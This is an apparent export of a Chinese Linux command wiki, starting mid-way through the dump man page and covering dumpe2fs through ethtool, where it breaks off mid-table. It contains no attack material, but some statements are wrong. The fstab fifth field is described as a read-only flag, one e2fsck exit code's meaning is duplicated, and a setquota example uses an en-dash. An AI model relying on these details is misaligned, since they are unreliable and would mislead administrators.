       The format of the /etc/dumpdates file has changed in release 0.4b34, however, the file will be  read  correctly  with  either
       pre-0.4b34  or  0.4b34  and  later  versions  of dump provided that the machine on which dump is run did not change timezones
       (which should be a fairly rare occurrence).

</pre>
*EXIT STATUS<pre>
       Dump exits with zero status on success. Startup errors are indicated with an exit code of 1; abnormal  termination  is  indi‐
       cated with an exit code of 3.

</pre>
*BUGS<pre>
       It  might be considered a bug that this version of dump can only handle ext2/3/4 filesystems.  Specifically, it does not work
       with FAT filesystems.

       Fewer than 32 read errors (change this with -I) on the filesystem are ignored. If noticing read errors is important, the out‐
       put from dump can be parsed to look for lines that contain the text 'read error'.

       When  a  read  error occurs, dump prints out the corresponding physical disk block and sector number and the ext2/3/4 logical
       block number. It doesn't print out the corresponding file name or even the inode number. The user has to use debugfs(8), com‐
       mands ncheck and icheck to translate the ext2blk number printed out by dump into an inode number, then into a file name.

       Each  reel  requires  a  new process, so parent processes for reels already written just hang around until the entire tape is
       written.

       The estimated number of tapes is not correct if compression is on.

       It would be nice if dump knew about the dump sequence, kept track of the tapes scribbled on, told the operator which tape  to
       mount when, and provided more assistance for the operator running restore.

       Dump  cannot  do  remote  backups  without being run as root, due to its security history.  Presently, it works if you set it
       setuid (like it used to be), but this might constitute a security risk. Note that you can set RSH to use a remote shell  pro‐
       gram instead.

</pre>
*AUTHOR<pre>
       The  dump/restore  backup  suite was ported to Linux's Second Extended File System by Remy Card <card@Linux.EU.Org>. He main‐
       tained the initial versions of dump (up and including 0.4b4, released in January 1997).

       Starting with 0.4b5, the new maintainer is Stelian Pop <stelian@popies.net>.

</pre>
*AVAILABILITY<pre>
       The dump/restore backup suite is available from <http://dump.sourceforge.net>


    </pre>
*HISTORY<pre>
       A dump command appeared in Version 6 AT&T UNIX.



</pre>
!命令名称
  `dumpe2fs` - 显示ext2/ext3/ext4文件系统信息。

!命令语法
  `dumpe2fs [ -bfhixV ] [ -o superblock=superblock ] [ -o blocksize=blocksize ] device`


!常用命令选项  
    * `-b`	打印文件系统中的坏块
    * `-o`	不常用,检查严重损坏文件系统时指定
    * `-f`	强制显示所有信息,即便dumpe2fs对有些文件系统功能标识不能识别。
    * `-i`	显示image文件系统信息。device指定image文件的路径
    * `-h`	只显示超级块信息
    * `-x`	将已分组的块的数量用十六进制显示
    * `-v`	显示dumpe2fs的版本号并推出
!!简介
:<div>
e2fsck
===

用于检查第二扩展文件系统的完整性

</div>

!! 补充说明

:<div>


"e2fsck命令" 用于检查第二扩展文件系统的完整性,通过适当的选项可以尝试修复出现的错误。

e2fsck执行后的传回值及代表意义如下:

*   0 没有任何错误发生。
*   1 文件系统发生错误,并且已经修正。
*   2 文件系统发生错误,并且已经修正。
*   4 文件系统发生错误,但没有修正。
*   8 运作时发生错误。
*   16 使用的语法发生错误。
*   128 共享的函数库发生错误。

</div>

!! 语法  

:<div>


```
e2fsck(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a:不询问使用者意见,便自动修复文件系统;
-b<superblock>:指定superblock,而不使用预设的superblock;
-B<区块大小>:指定区块的大小,单位为字节;
-c:一并执行badblocks,以标示损坏的区块;
-C:将检查过程的信息完整记录在file descriptor中,使得整个检查过程都能完整监控;
-d:显示排错信息;
-f:即使文件系统没有错误迹象,仍强制地检查正确性;
-F:执行前先清除设备的缓冲区;
-l<文件>:将文件中指定的区块加到损坏区块列表;
-L<文件>:先清除损坏区块列表,再将文件中指定的区块加到损坏区块列表。因此损坏区块列表的区块跟文件中指定的区块是一样的;
-n:以只读模式开启文件系统,并采取非互动方式执行,所有的问题对话均设置以"no"回答;
-p:不询问使用者意见,便自动修复文件系统;
-r:此参数只为了兼容性而存在,并无实际作用;
-s:如果文件系统的字节顺序不适当,就交换字节顺序,否则不做任何动作;
-S:不管文件系统的字节顺序,一律交换字节顺序;
-t:显示时间信息;
-v:执行时显示详细的信息;
-V:显示版本信息;
-y:采取非互动方式执行,所有的问题均设置以"yes"回答。
```

</div>

!! 参数  

:<div>


文件系统或者分区:指定文件系统或者分区所对应的设备文件名。

</div>

!! 实例  

:<div>


检查`/dev/sda1`是否有问题,如发现问题便自动修复:

```
e2fsck -a -y /dev/sda1
```

执行e2fsck或fsck前请先umount partition,否则有机会令档案系统毁损。如果需要对根目录`/`进行检查及修复,便需要进入singal user mode执行。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
e2label
===

设置第二扩展文件系统的卷标

</div>

!! 补充说明

:<div>


"e2label命令" 用来设置第二扩展文件系统的卷标。

</div>

!! 语法  

:<div>


```
e2label(参数)
```

</div>

!! 参数  

:<div>


*   文件系统:指定文件系统所对应的设备文件名;
*   新卷标:为文件系统指定新卷标。

</div>

!! 实例  

:<div>


许多用了多年Linux的人可能也没有用过e2label命令。但是这个命令相当有效。在介绍它之前,我们先看看`/etc/fstab文`件:

```
label=//ext3 defaults 1 1
/dev/hda7 /usr ext3 defaults 1 1
```

第二行的意思很容易懂,就是把`/dev/hda7` mount到`/usr`上。第一行没有指明分区,意思是把label(卷标)为/ 的分区mount到/上。这样写的好处在于即使如果把硬盘从主板上的ide0(hda) 换到ide2(hdc)上,系统仍然可以自动挂载正确的分区。通常Linux安装的时候已经自动指定了卷标。如果是手动增加的新分区,可以用下边的命令为 其指定卷标:

```
e2label /dev/hdax /new
mkdir /new
```

然后在`/etc/fstab`里加入:

```
label=/new  /new  ext3  defaults  1 1
```

下次重新起动机器的时候,就会把卷标为`/new`的分区挂接到`/new`上。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* HELP<pre>

```
echo: echo [-neE] [参数 ...]
    将参数写到标准输出。

    在标准输出上显示 ARG 参数后跟一个换行。

    选项:
      -n	不要追加换行
      -e	启用下列反斜杠转义的解释
      -E	显式地抑制对于反斜杠转义的解释

    `echo' 对下列反斜杠字符进行转义:
      \a	警告(响铃)
      \b	退格
      \c	抑制更多的输出
      \e	转义字符
      \f	格式提供
      \n	换行
      \r	回车
      \t	横向制表符
      \v	纵向制表符
      \\	反斜杠
      \0nnn	以 NNN (八进制)为 ASCII 码的字符。 NNN 可以是
    	0到3个八进制数字
      \xHH	以 HH (十六进制)为值的八比特字符。HH可以是
    	一个或两个十六进制数字

    退出状态:
    返回成功除非有写错误发生。
```
</pre>

* 引号<pre>

```bash
#双引号
echo "$PS1"
#单引号
echo '$PS1'
#反向单引号
echo `echo $PATH`

#$ == ``
echo $(echo $PATH)
```
</pre>

* {} 展开序列<pre>

```bash
[root@qs02 ~]echo {0..100}

#
[root@qs02 ~]# echo f{,.}bak
fbak f.bak

#奇技淫巧系列
[root@qs02 ~]# cp f{,.}bak

#{}中是ascii码表起止位置.
[root@qs02 ~]# echo {A..z}

#步进
[root@qs02 ~]# echo {0..20..2}
[root@qs02 ~]# echo {00000..20..2}
```
</pre>

* 回车换行<pre>

```bash
[root@qs02 ~]# echo -e 'abcd\ref'
efcd

[root@qs02 ~]# echo -e 'abcd\nef'
abcd
ef
```
</pre>

* 高亮<pre>

```bash
[root@qs02 ~]# echo -e "\0101"
A

[root@qs02 ~]# echo -e '\033[43;35;5m hello, world\033[0m'
 hello, world
```
</pre>


* EXP:打印ascii码表<pre>

```bash
#8进制
echo -e \\0{0..7}{0..7}{0..7}
echo -e \\x{0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f}{0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f}


for i in {0,1,2,3,4,5,6,7}
do
        for j in {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f}
        do
                echo -ne ${i}${j} \\t:
                echo -e \\x${i}${j}
        done
done


for i in {0..1}
    do
    for j in {0..7}
        do
        for k in {0..7}
            do
            let num=0${i}${j}${k};
            echo -ne $num \\t
            echo -ne  ${i}${j}${k} \\t:
            echo -e \\0${i}${j}${k}
            done
        done
    done
```
</pre>
!!简介
:<div>
ed
===

单行纯文本编辑器

</div>

!! 补充说明

:<div>


"ed命令" 是单行纯文本编辑器,它有命令模式(command mode)和输入模式(input mode)两种工作模式。ed命令支持多个内置命令,常见内置命令如下:

```
A:切换到输入模式,在文件的最后一行之后输入新的内容;
C:切换到输入模式,用输入的内容替换掉最后一行的内容;
i:切换到输入模式,在当前行之前加入一个新的空行来输入内容;
d:用于删除最后一行文本内容;
n:用于显示最后一行的行号和内容;
w:<文件名>:一给定的文件名保存当前正在编辑的文件;
q:退出ed编辑器。
```

</div>

!! 语法  

:<div>


```
ed(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-G或——traditional:提供兼容的功能;
-p<字符串>:指定ed在command mode的提示字符;
-s,-,--quiet或——silent:不执行开启文件时的检查功能;
--help:显示帮助;
--version:显示版本信息。
```

</div>

!! 参数  

:<div>


文件:待编辑的文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
<div class="editor">

    <<toc-selective-expandable 'editor'>>

</div>
!!简介
:<div>
edquota
===

用于编辑指定用户或工作组磁盘配额

</div>

!! 补充说明

:<div>


"edquota命令" 用于编辑指定用户或工作组磁盘配额。edquota预设会使用vi来编辑使用者或群组的quota设置。

</div>

!! 语法  

:<div>


```
edquota(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-u:设置用户的quota,这是预设的参数;
-g:设置群组的quota;
-p<源用户名称>:将源用户的quota设置套用至其他用户或群组;
-t:设置宽限期限。
```

</div>

!! 参数  

:<div>


用户:指定要编辑磁盘配额限制的用户名或者工作组。

</div>

!! 实例  

:<div>


 "配置系统的磁盘配额支持" 

首先,磁盘配额是区域性的,我们可以决定哪块分区进行磁盘配额,哪块分区不用(自然也就不用配置了)。一般而言,作为一台web虚拟主机服务器,`/home`和`/www`(或者类似的)是供用户存放资源的分区,所以可以对这两个分区进行磁盘配额。假定我们需要对`/home`分区实现用户级的限制,而对`/www`进行每个组的用户配额。

第一步:

```
vi /etc/fstab
```

找到对应于`/home`和`/www`的行,例如:

```
/dev/sda5 /home ext2 defaults 1 2
/dev/sda7 /www ext2 defaults 1 2
```

在`/home`里实现用户级的磁盘配额,所以对sda5行的挂装选项域做如下修改:

```
/dev/sda5 /home ext2 defaults,usrquota 1 2
```

注意,是usrquota哦。类似的,我们可以如下修改`/www`行:

```
/dev/sda7 /www ext2 defaults,grpquota 1 2
```

如编辑根用户

改`/etc/fstab`文件中

```
LABEL=/ / ext2 defaults,usrquota,grpquota 1 1
```

说明:`/etc/fstab`文件的每一行由六个字段组成:

*   第一个字段:文件系统(分区)的注释(类似卷标);
*   第二个字段:文件系统的装载点;
*   第三个字段:文件系统类型(磁盘配额只能在ext2文件系统上实现);
*   第四个字段:装载文件系统是使用的选项,如果只想实现基于用户的磁盘配额,就加入usrquota关键字,只想实现基于组的磁盘配额,就加入grpqouta关键字,如果两者都需要,就全写入,中间可以用逗号分隔。
*   第五个字段:表明该文件系统(分区)是否为只读,如果是0就表示只读,1表示可以读写。
*   第六个字段:表示系统启动执行fsck时检查的顺序。

注意:请特别注意这里的拼写,是usrquota和grpquota,不要写成userquota和groupquota。

进入单用户模式,用quotacheck生成.user或.group文件

quotacheck 你的目录

```
example:quotacheck / ; quotacheck /home
```

如果单用户模式报错的话umount你的设备`/dev/hda*`

再执行就ok了,重启动系统,如果一切正常的话,quota将开始正常工作。

 "设置用户和组配额的分配量" 

对磁盘配额的限制一般是从一个用户占用磁盘大小和所有文件的数量两个方面来进行的。在具体操作之前,我们先了解一下磁盘配额的两个基本概念:软限制和硬限制。

*   软限制:一个用户在文件系统可拥有的最大磁盘空间和最多文件数量,在某个宽限期内可以暂时超过这个限制。
*   硬限制:一个用户可拥有的磁盘空间或文件的绝对数量,绝对不允许超过这个限制。

 "通过edquota直接编辑数据文件:" 

使用编辑配额命令edquota为用户配置定额,在重新启动系统之后,我们假设lanf是需要定额的系统帐户,可以使用如下命令来为用户分配磁盘配额:

```
edquota -u lanf
```

这个命令将启动默认文本编辑器(如vi或其他由$EDITOR 环境变量指定的编辑器),其内容如下所示:

```
Quotas for user lanf:
/dev/sda5:blocks in use:0,limits(soft = 0,hard = 0)
inodes in use:0,limits(soft = 0,hard = 0)
```

这表示lanf用户在`/dev/sda5`分区(该分区已经在usrquota的控制之下)中迄今使用了0个数据块(以K为单位),并且没有设限制(包括软限制soft和硬限制hard),同样,lanf在这个分区也没有任何文件和目录,并且也没有任何软硬限制。如果,我们想对用户进行磁盘容量的限制的话,只需要修改blocks行的limits部分就可以了,注意单位使用的是K。例如要为lanf分配100M磁盘的软限制,400M硬限制,可以使用如下的设置:

```
Quotas for user lanf:
/dev/sda5:blocks in use:0,limits(soft = 102400,hard = 409800)
inodes in use:0,limits(soft = 0,hard = 0)
```

同样的,要对文件目录的数量限制可以相应的修改inodes行。我们也可以同时对这两项都作出限制。只需要如下的修改Quotas for user lanf:

```
/dev/sda5:blocks in use:0,limits(soft = 102400,hard = 409800)
inodes in use:0,limits(soft = 12800,hard = 51200)
```

这表示除了相应的容量的限制外,还对文件/目录的数量做了12800个的软限制和51200个的硬限制。在保存了新的配置后,该用户的磁盘使用就不能超过硬限制。如果用户试图超过这个限制,该操作将被取消,然后得到一个错误信息。但是,如果每个用户都要这么麻烦的设置的话,那这种重复的体力劳动实在有点令人不寒而栗,而且也太浪费时间了。幸好edquota还有个-p参数(prototype)可以对已有的用户设置进行拷贝。例如,我们想对Jack、Tom、Chen三个用户使用和lanf一样的限额配置,可以使用如下的命令:

```
edquota -p lanf -u Jack Tom Chen
```

这样一来,这三个用户就被赋予了和lanf一样的磁盘配额。

对组的配额,除了edquota命令中对应`-u`选项的改为`-g`选项,例如下面对webterm1组的操作:

```
edquota -g webterm1
```

实际上,以上的限制只是对用户设定的硬限制在起作用。如果需要使软限制也起作用的话,还需要对用户的软限制设定宽限期,缺省的软限制的宽限期是无穷,这可以使用edquota命令的`-t`选项来实现。运行下面的命令:

```
edquota -t
```

edquota将打开缺省编辑器显示如下内容:

```
time units may be:days,hours,minutes,or seconds
Grace period before enforcing soft limits for users:
/dev/sda5:block grace period:0 days,file grace period:0 days
```

可以使用天、小时、分、秒为单位来设定宽限期。例如,在下面这个例子中,磁盘空间限制的宽限期为两天,而文件数量限制的宽限期只有6个小时。

```
Time units may be:days,hours,minutes,or seconds
Grace period before enforcing soft limits for users:
/dev/sda5:block grace period:2 days,file grace period:6 hours
```

 "通过setquota工具加入:" 

比如加入用户bye2000的磁盘配额,执行以下命令:

```
setquota –u / 2000 2500 100 110 bye2000
```

以下是setquota命令用法的简单描述:

```
setquota [ -u|-g ] 装载点 软块数 硬块数 软文件数 硬文件数 用户名/组名
```

 "查看用户磁盘使用情况" 

要查明某一个用户使用了多少磁盘空间,例如lanf,可以使用如下的命令:

```
quota -u lanf
```

显示:

```
Disk quotas for user lanf(uid 503):
Filesystem blocks quota limit grace file quota limit grace
/dev/sda5 3 102400 409800 1 12800 51200
```

同样,可以使用`quota -g groupname`命令来参看某个组的磁盘使用情况。

注意:

1.  如果该用户没有配置磁盘限额的话,输出显示`Disk quotas for user hujm (uid 503): none`
2.  如果不带任何参数运行quota的话,查看的是你自己的配额使用情况。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
egrep
===

在文件内查找指定的字符串

</div>

!! 补充说明

:<div>


"egrep命令" 用于在文件内查找指定的字符串。egrep执行效果与`grep -E`相似,使用的语法及参数可参照grep指令,与grep的不同点在于解读字符串的方法。egrep是用extended regular expression语法来解读的,而grep则用basic regular expression 语法解读,extended regular expression比basic regular expression的表达更规范。

</div>

!! 语法  

:<div>


```
egrep(选项)(查找模式)(文件名1,文件名2,……)
```

</div>

!! 实例  

:<div>


显示文件中符合条件的字符。例如,查找当前目录下所有文件中包含字符串"Linux"的文件,可以使用如下命令:

```
egrep Linux *
```

结果如下所示:

```
#以下五行为 testfile 中包含Linux字符的行
testfile:hello Linux!
testfile:Linux is a free Unix-type operating system.
testfile:This is a Linux testfile!
testfile:Linux
testfile:Linux

#以下两行为testfile1中含Linux字符的行
testfile1:helLinux!
testfile1:This a Linux testfile!

#以下两行为 testfile_2 中包含Linux字符的行
testfile_2:Linux is a free unix-type opterating system
testfile_2:Linux test
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
''EIGRP'':Enhanced Interior Gateway Routing Protocol 即 增强内部网关路由协议。也翻译为 加强型内部网关路由协议。 EIGRP是Cisco公司的私有协议(2013年已经公有化 [1]  )。 EIGRP结合了链路状态和距离矢量型路由选择协议的Cisco专用协议,采用弥散修正算法(DUAL)来实现快速收敛,可以不发送定期的路由更新信息以减少带宽的占用,支持Appletalk、IP、Novell和NetWare等多种网络层协议。
!!简介
:<div>
eject
===

用来退出抽取式设备

</div>

!! 补充说明

:<div>


"eject命令" 用来退出抽取式设备。若设备已挂入,则eject命令会先将该设备卸除再退出。

eject允许可移动介质(典型是cd-ROM、软盘、磁带、或者JAZ以及zip磁盘)在软件控制下弹出。该命令也可以控制一些多盘片CD-ROM控制器,控制一些设备支持的自动弹出功能,以及控制一些CD-ROM驱动器磁盘托盘的关闭。与name相应的设备将被弹出,name可以为设备文件或者其挂载点,也可以为完整路径或者省略前面的/dev或者/mnt设备文件名。如果没有指定name,缺省使用cdrom。

有四种不同的弹出的方法,具体要看设备是CD-ROM, SCSI设备,可移动软盘,还是磁带而定。默认的弹出会依次尝试所有四种方法,直到成功为止。如果设备当前是挂载上来的,那么在弹出前要先卸载。

</div>

!! 语法  

:<div>


```
eject(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a<开关>或--auto<开关>:控制设备的自动退出功能;
-c<光驱编号>或--changerslut<光驱编号>   选择光驱柜中的光驱;
-d或--default:显示预设的设备,而不是实际执行动作;
-f或--floppy:退出抽取式磁盘;
-h或--help:显示帮助;
-n或--noop:显示指定的设备;
-q或--tape:退出磁带;
-r或--cdrom:退出光盘;
-s或--scsi:以SCSI指令来退出设备;
-t或--trayclose:关闭光盘的托盘;
-v或--verbose:执行时,显示详细的说明。
```

</div>

!! 参数  

:<div>


设备名:指定弹出的设备名称。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
elinks
===

纯文本界面的WWW浏览器

</div>

!! 补充说明

:<div>


"elinks命令" 能实现一个纯文本界面的WWW浏览器,操作方式与“lynx”类似。

</div>

!! 语法  

:<div>


```
elinks(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-anonymous:是否使用匿名帐号方式;
-auto-submit:对于偶然遇到的第一个表单是否自动提交;
-config-dir:指定elinks指令运行时读取和写入自身的配置和运行状态的存放目录;
-dump:将HTML文档以纯文本的方式打印到标准输出设备;
-version:显示指令的版本信息;
-h:显示帮助信息。
```

</div>

!! 参数  

:<div>


URL:指定要访问的URL地址。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
elm
===

纯文本邮件客户端程序

</div>

!! 补充说明

:<div>


"elm命令" 是一个E-mail客户端管理程序,它提供了纯文本交互式全屏幕界面。

</div>

!! 语法  

:<div>


```
elm(选项)
```

</div>

!! 选项  

:<div>


```
-s<邮件主题>:指定新邮件的邮件主题;
-f<目录>:开启程序时,读取指定的目录;
-h:显示帮助;
-i<文件名>:将文件内容插入送出的邮件中;
-m:进入elm后,不显示指令说明;
-v:显示elm的版本信息;
-z:若收件信箱没有邮件,则不启动elm程序。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
emacs
===

功能强大的全屏文本编辑器

</div>

!! 补充说明

:<div>


"emacs命令" 是由GNU组织的创始人Richard Stallman开发的一个功能强大的全屏文本编辑器,它支持多种编程语言,具有很多优良的特性。有众多的系统管理员和软件开发者使用emacs。

</div>

!! 语法  

:<div>


```
emacs(选项)(参数)
```

</div>

!! 选项  

:<div>


```
+<行号>:启动emacs编辑器,并将光标移动到制定行号的行;
-q:启动emacs编辑器,而不加载初始化文件;
-u<用户>:启动emacs编辑器时,加载指定用户的初始化文件;
-t<文件>:启动emacs编辑器时,把指定的文件作为中端,不适用标准输入(stdin)与标准输出(stdout);
-f<函数>:执行指定lisp(广泛应用于人工智能领域的编程语言)函数;
-l<lisp代码文件>:加载指定的lisp代码文件;
-batch:以批处理模式运行emacs编辑器。
```

</div>

!! 参数  

:<div>


文件:指定要编辑的文本文件。

</div>

!! emacs命令操作大全  

:<div>


基本命令

```
C-x C-c : 退出Emacs
C-x C-f : 打开一个文件,如果文件不存在,则创建一个文件
C-g : 取消未完成的命令
```

编辑

```
C-z (redefined): Undo;原来C-z是挂起Emacs(然后用fg命令调出);C-x u 是默认的命令; 移动一下光标,再C-z就可以redo
M-d : 删除光标后的词语
```

移动光标

```
C-v : 向前翻页
M-v : 向后翻页
M-r : 将光标移动到屏幕中间那行
C-a : 移到行首
M-a : 移到句首,从行首到句首之间可能有空格
C-e : 移到行尾
M-e : 移到句尾
M-{ : 向上移动一段
M-} : 向下移动一段
C-right : 向前移动一个单词
C-left : 向后移动一个单词
C-up : 向前移动一段
C-down : 向后移动一段
M-< : 移到整个文本开头
M-> : 移到整个文本末尾
C-u 数字 命令 : 执行多次(数字表示次数)该命令;"M-数字 命令" 也可以
M-x goto-line : 移动到某一行
C-l : 重绘屏幕,效果就是当前编辑行移动窗口中央
```

Buffer 相关

```
C-x k : 关闭当前buffer
C-x b : 切换到前一个编辑的buffer
C-x C-b : 列出当前所有buffer
C-x C-s : 保存当前buffer
C-x s : 保存所有未保存的buffer,会提示你是否需要保存
C-x C-w : 文件另存为
```

拷贝与粘贴

```
M-space (redefined): 设置mark; C-@ 是默认命令
C-w (redefined) : 剪切一块区域;如果没有设置mark,则是剪切一行
M-w (redefined) : 拷贝一块区域;如果没有设置mark, 则是拷贝一行
C-k : 从当前位置剪切到行尾
C-y : 粘贴
M-y : 用C-y拉回最近被除去的文本后,换成 M-y可以拉回以前被除去的文本。键入多次的M-y可以拉回更早以前被除去的文本。
C-x r k : 执行矩形区域的剪切
C-x r y : 执行矩形区域的粘贴
```

```
窗口操作
C-x 0 : 关闭当前窗口
C-x 1 : 将当前窗口最大化
C-x 2 : 垂直分割窗口
C-x 3 : 水平分割窗口
M-o (redefined) : 在窗口之间切换; C-x o 是默认命令
C-x 5 1/2/3/0 : 对frame类似的操作
C-x < : 窗口内容右卷
C-x > : 窗口内容左卷(这两个命令在垂直分割窗口后比较有用)
(C-u) C-x ^ : 加高当前窗口,如果有C-u,则每次加高4行
(C-u) C-x } : 加宽当前窗口
(C-u) C-x { : 压窄当前窗口
ESC C-v : 在其它窗口进行卷屏操作
```

搜索和替换

```
C-s : 向前搜索(增量式搜索);连续C-s,跳到下一个搜索到的目标
C-s RET : 普通搜索
C-r : 向前搜索
C-s RET C-w : 按单词查询
M-% : 查询替换,也就是替换前会询问一下
M-x replace-string : 普通替换
```

Tags

```
M-! etags .c .h : 创建TAGS文件
M-. : 跳到tag所在位置
M-x list-tags : 列出tags
```

书签

```
C-x r m : 设置书签bookmark
C-x r b : 跳到bookmark处
```

帮助

```
C-h ? : 查看帮助信息
C-h f : 查看一个函数
C-h v : 查看一个变量
C-h k : 查看一个键绑定 (C-h c 也是查看键绑定,但是信息较简略)
C-h C-f : 查看一个函数的info,非常有用
C-h i : 看Info
```

其它

```
C-M-\ : 对选中区域,按照某种格式(比如C程序)进行格式化
C-x h : 全部选中
M-! : 执行外部shell命令
M-x shell : 模拟shell的buffer
M-x term : 模拟terminal, C-c k 关闭terminal
C-x C-q : 修改buffer的只读属性
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
```
enable: enable [-a] [-dnps] [-f filename] [name ...]
    Enable and disable shell builtins.

    Enables and disables builtin shell commands.  Disabling allows you to
    execute a disk command which has the same name as a shell builtin
    without using a full pathname.

    Options:
      -a	print a list of builtins showing whether or not each is enabled
      -n	disable each NAME or display a list of disabled builtins
      -p	print the list of builtins in a reusable format
      -s	print only the names of Posix `special' builtins

    Options controlling dynamic loading:
      -f	Load builtin NAME from shared object FILENAME
      -d	Remove a builtin loaded with -f

    Without options, each NAME is enabled.

    To use the `test' found in $PATH instead of the shell builtin
    version, type `enable -n test'.

    Exit Status:
    Returns success unless NAME is not a shell builtin or an error occurs.

```
''env''命令用于显示系统中已存在的环境变量,以及在定义的环境中执行指令。该命令只使用"-"作为参数选项时,隐藏了选项"-i"的功能。若没有设置任何选项和参数时,则直接显示当前的环境变量。

如果使用env命令在新环境中执行指令时,会因为没有定义环境变量"PATH"而提示错误信息"such file or directory"。此时,用户可以重新定义一个新的"PATH"或者使用绝对路径。

!语法
`env(选项)(参数)`

!选项

```
-i:开始一个新的空的环境;
-u<变量名>:从当前环境中删除指定的变量。
```
!参数

变量定义:定义在新的环境中变量,定义多个变量定义用空格隔开。格式为“变量名=值”;

指定:指定要执行的指令和参数。
!!简介
:<div>
ethtool
===

显示或修改以太网卡的配置信息

</div>

!! 补充说明

:<div>


ethtool命令用于获取以太网卡的配置信息,或者修改这些配置。这个命令比较复杂,功能特别多。

</div>

!! 语法  

:<div>


```
ethtool [ -a | -c | -g | -i | -d | -k | -r | -S |] ethX
ethtool [-A] ethX [autoneg on|off] [rx on|off] [tx on|off]
ethtool [-C] ethX [adaptive-rx on|off] [adaptive-tx on|off] [rx-usecs N] [rx-frames N] [rx-usecs-irq N] [rx-frames-irq N] [tx-usecs N] [tx-frames N] [tx-usecs-irq N] [tx-frames-irq N] [stats-block-usecs N][pkt-rate-low N][rx-usecs-low N] [rx-frames-low N] [tx-usecs-low N] [tx-frames-lowN] [pkt-rate-high N] [rx-usecs-high N] [rx-frames-high N] [tx-usecs-high N] [tx-frames-high N] [sample-interval N]
ethtool [-G] ethX [rx N] [rx-mini N] [rx-jumbo N] [tx N]
ethtool [-e] ethX [raw on|off] [offset N] [length N]
ethtool [-E] ethX [magic N] [offset N] [value N]
ethtool [-K] ethX [rx on|off] [tx on|off] [sg on|off] [tso on|off]
ethtool [-p] ethX [N]
ethtool [-t] ethX [offline|online]
ethtool [-s] ethX [speed 10|100|1000] [duplex half|full] [autoneg on|off] [port tp|aui|bnc|mii] [phyad N] [xcvr internal|external]
[wol p|u|m|b|a|g|s|d...] [sopass xx:yy:zz:aa:bb:cc] [msglvl N]
```

</div>

!! 选项  

:<div>


```
-a 查看网卡中 接收模块RX、发送模块TX和Autonegotiate模块的状态:启动on 或 停用off。
-A 修改网卡中 接收模块RX、发送模块TX和Autonegotiate模块的状态:启动on 或 停用off。
-c display the Coalesce information of the specified ethernet card。
-C Change the Coalesce setting of the specified ethernet card。
-g Display the rx/tx ring parameter information of the specified ethernet card。
-G change the rx/tx ring setting of the specified ethernet card。
-i 显示网卡驱动的信息,如驱动的名称、版本等。
-d 显示register dump信息, 部分网卡驱动不支持该选项。
-e 显示EEPROM dump信息,部分网卡驱动不支持该选项。
-E 修改网卡EEPROM byte。
-k 显示网卡Offload参数的状态:on 或 off,包括rx-checksumming、tx-checksumming等。
-K 修改网卡Offload参数的状态。
-p 用于区别不同ethX对应网卡的物理位置,常用的方法是使网卡port上的led不断的闪;N指示了网卡闪的持续时间,以秒为单位。
-r 如果auto-negotiation模块的状态为on,则restarts auto-negotiation。
-S 显示NIC- and driver-specific 的统计参数,如网卡接收/发送的字节数、接收/发送的广播包个数等。
-t 让网卡执行自我检测,有两种模式:offline or online。
-s 修改网卡的部分配置,包括网卡速度、单工/全双工模式、mac地址等。
```

</div>

!! 数据来源  

:<div>


Ethtool命令显示的信息来源于网卡驱动层,即TCP/ip协议的链路层。该命令在Linux内核中实现的逻辑层次为:

最重要的结构体`struct ethtool_ops`,该结构体成员为用于显示或修改以太网卡配置的一系列函数指针,见下表中的第二列。

网卡驱动负责实现(部分)这些函数,并将其封装入`ethtool_ops`结构体,为网络核心层提供统一的调用接口。因此,不同的网卡驱动会给应用层返回不同的信息。`Ethtool命令选项`、`struct ethtool_ops成员函数`、`Ethtool命令显示参数的来源`,三者间的对应关系如下表所示:

<table>

<tbody>

<tr>

<th style="width: 100px;">命令选项</th>

<th>struct ethtool_ops成员函数</th>

<th>Ethtool命令显示参数的来源(以网卡驱动BNX2为例)</th>

</tr>

<tr>

<td>无 -s</td>

<td>get_settingsget_wol get_msglevel get_link set_settings set_wol set_msglevel</td>

<td>从网卡寄存器中获得网卡速度等信息,可配置。</td>

</tr>

<tr>

<td>-a -A</td>

<td>get_pauseparam set_pauseparam</td>

<td>从网卡寄存器中获得Autonegotiate/RX/TX模块的状态:on oroff,可配置。</td>

</tr>

<tr>

<td>-c -C</td>

<td>get_coalesceset_coalesce</td>

<td>从网卡寄存器中获得coalescing参数:TX/RX一个数据包后,推迟发生TX/RX中断的时间(us)/数据包个数。—减小该值可以提高网卡的响应时间。 当rx-usecs&rx-frames同时被设为0时,RX中断停止。 当tx-usecs&tx-frames同时被设为0时,TX中断停止。</td>

</tr>

<tr>

<td>-g -G</td>

<td>get_ringparam set_ringparam</td>

<td>除当前TX/RX ring的值(从网卡寄存器中读取得到,可配置)外,其它为网卡bnx2自己固定的信息。</td>

</tr>

<tr>

<td>-k -K</td>

<td>get_rx_csumget_tx_csum get_sg get_tso set_rx_csum set_tx_csum set_sg set_tso</td>

<td>显示信息从保存该状态的变量中读取得到,没有对应的寄存器。因此,TX/RX校验等模块一直处于on状态,实际上是无法修改的。</td>

</tr>

<tr>

<td>-i</td>

<td>get_drvinfo[self_test_count, get_stats_coun,t get_regs_len, get_eeprom_len]</td>

<td>网卡bnx2自己固定的信息,如:  
——————————————————–  
driver: bnx2 version: 1.4.30 firmware-version: 1.8.0.5 bus-info: 0000:09:00.0  
——————————————————–</td>

</tr>

<tr>

<td>-d</td>

